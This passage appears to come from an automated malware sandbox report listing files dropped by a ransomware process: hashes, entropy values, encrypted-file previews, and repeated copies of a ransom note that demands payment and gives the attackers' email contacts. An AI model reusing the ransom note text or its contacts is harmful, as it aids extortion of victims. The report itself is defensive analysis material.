                                                                                                                                                                Preview: .Z.k#"..j..dA..R>.y..aiV.RY....C...r...}.E6..StF{..<...%..%.t.I...|j.W......{..<H..k..6F..].,a'i..]...S...ou.L..i....y}....%..aa....KqzG>.L.j.WE....P.5.F$....c.;.0..@....%.......VH.\.E..\I|....4Na..^..I.}.&.a..f.c.Y.6..\.2....H;kH`.h.oZ}.....i..t.!.Dp..n..R'ob.&?...O...LuK..}..tr...q.6U..o.}%ft.<.z..c0..Ci...wb..i.....q...y.&i.o..^....E6..[..]Wz<=&5"Bc. .;2.5{.x........%.....z<.Z........&.py.{.g..rq.iu....7.,I.v.d......z.x....,.a;...J.4..;.0.....H+.W|.....Zx..(uj.M.=..(..47..Y*[......z.c.7..N..5...L......530x3k......6.h..~.!...&.=5.z-.{K.|xj....x,.W........(z.x].Q..H.....&......e.u..UEj.....z..$;.....|om..B..$F.S .G-.......\..f.^.[%...\2.1:..Z.Bq;w.*....{.DRe.. ..+`M..&.H..c....(H.w..,LrO...~.u.':k.L.ms...MeM..-.t.w........5....J'm........q......ub..+...@h..w......~Ws.%.,..^..:i.$.z...h.....E).c..-K......v..R..!..xw......F *.}....b%..8..|H.d"..?....z.....O~@f...(\.Y.]...Or..i$......QH.5..O{e.T..z1.}...(w....k.:..d.H.....#.v.D.%?........@ ....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.843179151082116
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:95YgpIstWaYi2mcTahHWoKLJh1l8hzmaDtZznFE7wcyjN9cVXtOtbe7yTMPq:htW0DciWo44DtNnFEM6XMyuwy
                                                                                                                                                                MD5:C78A4CCD52617528FA568D09BA9948B8
                                                                                                                                                                SHA1:5C3964BADAD448B4EE41E278FC7B8C9B4018D9F5
                                                                                                                                                                SHA-256:8BD395259CB5F6A3A1821AD63F9BB6143D573A045B5F755F6ABF772C57968691
                                                                                                                                                                SHA-512:6C9475B94F6AE40CDECC0DE7011EDB72543A7507BEAE8F94B9E0A0B5035C39F37BF329D668598C95B4465C0F59C44978E217420BED4F36165A459D3697D17B72
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview: .Z.k#"..j..dA..R>.y..aiV.RY....C...r...}.E6..StF{..<...%..%.t.I...|j.W......{..<H..k..6F..].,a'i..]...S...ou.L..i....y}....%..aa....KqzG>.L.j.WE....P.5.F$....c.;.0..@....%.......VH.\.E..\I|....4Na..^..I.}.&.a..f.c.Y.6..\.2....H;kH`.h.oZ}.....i..t.!.Dp..n..R'ob.&?...O...LuK..}..tr...q.6U..o.}%ft.<.z..c0..Ci...wb..i.....q...y.&i.o..^....E6..[..]Wz<=&5"Bc. .;2.5{.x........%.....z<.Z........&.py.{.g..rq.iu....7.,I.v.d......z.x....,.a;...J.4..;.0.....H+.W|.....Zx..(uj.M.=..(..47..Y*[......z.c.7..N..5...L......530x3k......6.h..~.!...&.=5.z-.{K.|xj....x,.W........(z.x].Q..H.....&......e.u..UEj.....z..$;.....|om..B..$F.S .G-.......\..f.^.[%...\2.1:..Z.Bq;w.*....{.DRe.. ..+`M..&.H..c....(H.w..,LrO...~.u.':k.L.ms...MeM..-.t.w........5....J'm........q......ub..+...@h..w......~Ws.%.,..^..:i.$.z...h.....E).c..-K......v..R..!..xw......F *.}....b%..8..|H.d"..?....z.....O~@f...(\.Y.]...Or..i$......QH.5..O{e.T..z1.}...(w....k.:..d.H.....#.v.D.%?........@ ....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1315
                                                                                                                                                                Entropy (8bit):7.822820644820562
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:H/oqQuSXCs6oHwhoJkFSD+gHM8Buu7Ul8vZaQf4TQsyKJFkJMvi:foqs6oHpJkFS7s8Buu7Ul8gg4T8SFkSa
                                                                                                                                                                MD5:B6F41AA1E7C25AB449543133D3B09CF4
                                                                                                                                                                SHA1:9B0ABC4246646D2BA9A8CF0D0299391471BE20F1
                                                                                                                                                                SHA-256:5B20A65C79ED9E180C9F6E751E091C17880833275DC6A77F256C3789C6108D44
                                                                                                                                                                SHA-512:9F51AB08AEE7B2BC2B5CF880A8426979EAD90FE55B04460CE9FC80281EB8AF3D30A09FF1A53CD4C0B3A891872E0BF2EDB6ACC3B35853A58BF9BD32301F273EC2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.l.(URH....3.m.Q..l...4Mcb....He.C&Q.#.#.t8.!..%........~h=b..9..3Zr.od.p..(.O.....;Q-.4^.z.!.N.....U,$.%4.7...W..NP....._.V..U./..[<..,3../..8V.....5BQ).d{z.......DT@e..5..HcN.........[...U. ._.&{..`...h$...\......\2...p...#W....0.(..q..].Eu..e..K."0..Q..)..Q..._a...y`..(...*?O\.R ..%p.p.\.....<..%.0y;..g....JSJZW....NB.$..$O.S........W.8.^lU....5a{.r0f..I^. ....o.F.W..].0.L.f...C...<... YPM7.f...tU.....Gd.?di=3.#.A8c"....,.E..[._............>......^...F.<.v..O.!.H.4.....R-Otd.|uw....$.a.D~+..-......2....+>G.O>-.....K.......kM. Zt`..-.x...5.W..#....Vx.t{..K...By..2...H]..J........x..U.lx..S.6....k..I.U.(...YYL..Z.n.+.^..w*V.n.^b..,...-.?......?M..;.H..D...lx[.1...o<.....-J.....v...v*d.U...@.K^%...'.2.jC...E.Ax[6._.g..m...p.E_..T..N.T\O....l;../.!N......I^.}........e.t..LP.....K....w..)....q.=.V.......~%Q[..H.A..<d...R3... -.TZ.g..O......b.+."(X.+.TE.H.y........=...J>.Q..i.Q....=.-...O.0y..\...Q-.!]K0..<.ls..O.@..@8.7....J......}..H5>#k.I%z}
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1315
                                                                                                                                                                Entropy (8bit):7.822820644820562
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:H/oqQuSXCs6oHwhoJkFSD+gHM8Buu7Ul8vZaQf4TQsyKJFkJMvi:foqs6oHpJkFS7s8Buu7Ul8gg4T8SFkSa
                                                                                                                                                                MD5:B6F41AA1E7C25AB449543133D3B09CF4
                                                                                                                                                                SHA1:9B0ABC4246646D2BA9A8CF0D0299391471BE20F1
                                                                                                                                                                SHA-256:5B20A65C79ED9E180C9F6E751E091C17880833275DC6A77F256C3789C6108D44
                                                                                                                                                                SHA-512:9F51AB08AEE7B2BC2B5CF880A8426979EAD90FE55B04460CE9FC80281EB8AF3D30A09FF1A53CD4C0B3A891872E0BF2EDB6ACC3B35853A58BF9BD32301F273EC2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.l.(URH....3.m.Q..l...4Mcb....He.C&Q.#.#.t8.!..%........~h=b..9..3Zr.od.p..(.O.....;Q-.4^.z.!.N.....U,$.%4.7...W..NP....._.V..U./..[<..,3../..8V.....5BQ).d{z.......DT@e..5..HcN.........[...U. ._.&{..`...h$...\......\2...p...#W....0.(..q..].Eu..e..K."0..Q..)..Q..._a...y`..(...*?O\.R ..%p.p.\.....<..%.0y;..g....JSJZW....NB.$..$O.S........W.8.^lU....5a{.r0f..I^. ....o.F.W..].0.L.f...C...<... YPM7.f...tU.....Gd.?di=3.#.A8c"....,.E..[._............>......^...F.<.v..O.!.H.4.....R-Otd.|uw....$.a.D~+..-......2....+>G.O>-.....K.......kM. Zt`..-.x...5.W..#....Vx.t{..K...By..2...H]..J........x..U.lx..S.6....k..I.U.(...YYL..Z.n.+.^..w*V.n.^b..,...-.?......?M..;.H..D...lx[.1...o<.....-J.....v...v*d.U...@.K^%...'.2.jC...E.Ax[6._.g..m...p.E_..T..N.T\O....l;../.!N......I^.}........e.t..LP.....K....w..)....q.=.V.......~%Q[..H.A..<d...R3... -.TZ.g..O......b.+."(X.+.TE.H.y........=...J>.Q..i.Q....=.-...O.0y..\...Q-.!]K0..<.ls..O.@..@8.7....J......}..H5>#k.I%z}
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.207918761371183
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:9gWzX6Py6JkUEn0bNn4oFefQuBXVJig5RdAGvj8j3Sj4Rf9MBDHn:9zKK6jcq14Yef9BLX/vjq3NaDHn
                                                                                                                                                                MD5:EBAD7BBBDF7695219C8A66ED415A3E68
                                                                                                                                                                SHA1:723FB4EE6693C480065652E012D0C7189824675C
                                                                                                                                                                SHA-256:B2A4B8BB8AFBFF1EF6FAEBE57518170D39B45FBD2BAFDB101EEAD23E07D5509F
                                                                                                                                                                SHA-512:394F76E1D5D224B907DEC21B50B4DE070AC61118517629866FACE7C0AFDC56D4EF9AD3AFAE7680A2EE2851DBD67E5EAFBB2862A53D0A58E1A6B6FC4EED6660A2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...h..M..c.%.).............8..WIw...o..y1..R.zb..h..j....._......uo.d.MF.L.YX8.o.#P..G.,....O...k.X.....b..^..S. ...I+..M.........i...K..!7...V@_.>G(.i.........Y..Y.....ks;2.L2.....wKe...0.P....%$..0...?..8..Dyn5....3..............oh.f..'..ft"......?%...Ml..v...j.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.123761328278324
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:cNac8SyiRZtVr3NeLWRwKASvz1HDTSbIM76Qk6cIVwn:IyyZt1ALowKRL1Dw9uLhIVwn
                                                                                                                                                                MD5:DDF2CA120C2C60553E1F53F09ABF2883
                                                                                                                                                                SHA1:30F25E4E3BC7CA52A94A27E9D443A0CFFDDD87EB
                                                                                                                                                                SHA-256:B507ADF1EB33CFEE71AF308895FE4C3A43BFC866789784F3302CD56E29F190F7
                                                                                                                                                                SHA-512:E7B9E0B4707EFE7CEB43077BA1F2683B5C38EE0C8B69B2D9585932DAB7A7B94E06A5FDB30B99F73CF5F219B7CC9C6C9136C7C2F9B92E923677D7388ECB745F79
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.>.j..U+r.U.-vq...........{z>v.Zr..]......x...c....._.v...R...G..u....S..f..K.O...j....'...RrT!...2:..1E.t.E..T..< ..FqB.Y...]..!"...j!...H.j.d.....6q..>N!.)...r..yE.p.5..7...'........d.^..."cu.er.w.~..a...:..@(.:........{U......M...7..q. ..q7r3...k...V..,e.M.T.W.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.162063886651731
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:wLrDBkAwt3/SAZNr62l2KzVp6MOk8LtrEoft59ey/waAl8n:wfduV3zu2l2mOMOk85E8Pe2w8n
                                                                                                                                                                MD5:957471661BB9904D61A4433659765C64
                                                                                                                                                                SHA1:B3ACAA9A6A7FB7C2B38EE949429BFC1370061567
                                                                                                                                                                SHA-256:B199F9EB72F6516067CBE802C8865A33A73AFFFEFCBA49B3D94A0B13D56F48E7
                                                                                                                                                                SHA-512:D795369989A70FB70FB7A3923D07B710AA2AAAA08E46243E0AF70A4DA30277A63DFEE8D68A2EBDE7E7E0F5212F346F57F6C7410279BF56D72F6D5D83E6B25E9A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:!|#.........(.............=".6.)RF(T.^..V.X.U6...;.:.....U..YH...)....*2.....q..\.&..X|..C.!..s#._.6....P.e.........n.3Q.Z...N......E.t"<.k(.zJK.H.E.Y.(F.6.u.n...[.....u.-.0.M$....'..%...M.'2...Q..g...s.=..\...Y!.G..`....^F:.[....S..>j0v....3qA...m3'.CP.....xY.UMY......s.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.158844809067204
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:gFAFX9oyLsWM9Ca3DhsEvsrDnY+u/M+HjHBGSnNOpGVDSPW6Sn:gFI93zMQEvsrDw/MuQ1qcFSn
                                                                                                                                                                MD5:3EF539AEB52784D32B3CF97FDC000017
                                                                                                                                                                SHA1:6726DE8D89B5F8399DC1B8D63E9E06DE31EFAB00
                                                                                                                                                                SHA-256:518057A554BE7B3EE6FC59E2F7DA5C4DEB4EBCFE028E67493691F1CFBC85C8BA
                                                                                                                                                                SHA-512:DCB437A7D0DBC6145999F72C1D131BA273FCFD8151406D6880E9C93C64E7F5FD4A044399B891D8B9E34008842F80D67FCB31F479CF33D55D320D48F5ED6BB63E
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:V.N..l...4..P............4XZ<....|...8..3.EC.V0..TI...9.O.......(.tC...<......d.....j.......SqG.d.e..):..n.o...'...rAx:..w..2..._....[........u...gT.............s.6..S,o.&....;?..A...J...Y..O...`.......w......aF.R...kZz.L1YC[..M....3r3.....g.....g6.B...=..HuX....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Public Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):436
                                                                                                                                                                Entropy (8bit):7.512684205874787
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:Yi6YCkbd3jZ+SBPOx2Dhi6AsaAzNpdC5hQphhn:YKCkxT0SB+2DE3ypdVp7
                                                                                                                                                                MD5:A63F014D2B0190B8523291FACE070359
                                                                                                                                                                SHA1:6999A15F8F35A60C6961D6FE7DB8DC7DC1266585
                                                                                                                                                                SHA-256:23CEE12E030984F21A34E31E570E8D38C5C60C3A88CEF5867459977A17A3D2DB
                                                                                                                                                                SHA-512:87E542551071B107E65D4F6D42BAECC0CEEC852F854A390CE7516320496BF534834EF3922118F17BD2EFB6423DB7DD8EB7A802A7CCF1AB8C36C65775C1EA428C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.=....t."i..#.s...4..{W#CB.........B..(.m......I...^....|8.....,..;,.fw...[e...)....5.W..V.c.]m$...;.2..>ZL...vK'.!...Lp.(........5U.oRa..........wn:..8.1.1.......2.'..50i...X...A....>..m..T.Q..........X..u=c..\....(...v..F.f.#5.4J$X.s.M........sk...sD...l.Y.U2.(..1*...!.O+7Q.....1F....g.....JXXO....LK.d.=....@?|82u^RO.(Z...zJN."........v..z]"Q..T...J....?.P;....O.h..{s.._=./Y...Qq].t..=.......qV:L..Z.0..]0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Public Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):436
                                                                                                                                                                Entropy (8bit):7.512684205874787
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:Yi6YCkbd3jZ+SBPOx2Dhi6AsaAzNpdC5hQphhn:YKCkxT0SB+2DE3ypdVp7
                                                                                                                                                                MD5:A63F014D2B0190B8523291FACE070359
                                                                                                                                                                SHA1:6999A15F8F35A60C6961D6FE7DB8DC7DC1266585
                                                                                                                                                                SHA-256:23CEE12E030984F21A34E31E570E8D38C5C60C3A88CEF5867459977A17A3D2DB
                                                                                                                                                                SHA-512:87E542551071B107E65D4F6D42BAECC0CEEC852F854A390CE7516320496BF534834EF3922118F17BD2EFB6423DB7DD8EB7A802A7CCF1AB8C36C65775C1EA428C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.=....t."i..#.s...4..{W#CB.........B..(.m......I...^....|8.....,..;,.fw...[e...)....5.W..V.c.]m$...;.2..>ZL...vK'.!...Lp.(........5U.oRa..........wn:..8.1.1.......2.'..50i...X...A....>..m..T.Q..........X..u=c..\....(...v..F.f.#5.4J$X.s.M........sk...sD...l.Y.U2.(..1*...!.O+7Q.....1F....g.....JXXO....LK.d.=....@?|82u^RO.(Z...zJN."........v..z]"Q..T...J....?.P;....O.h..{s.._=./Y...Qq].t..=.......qV:L..Z.0..]0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
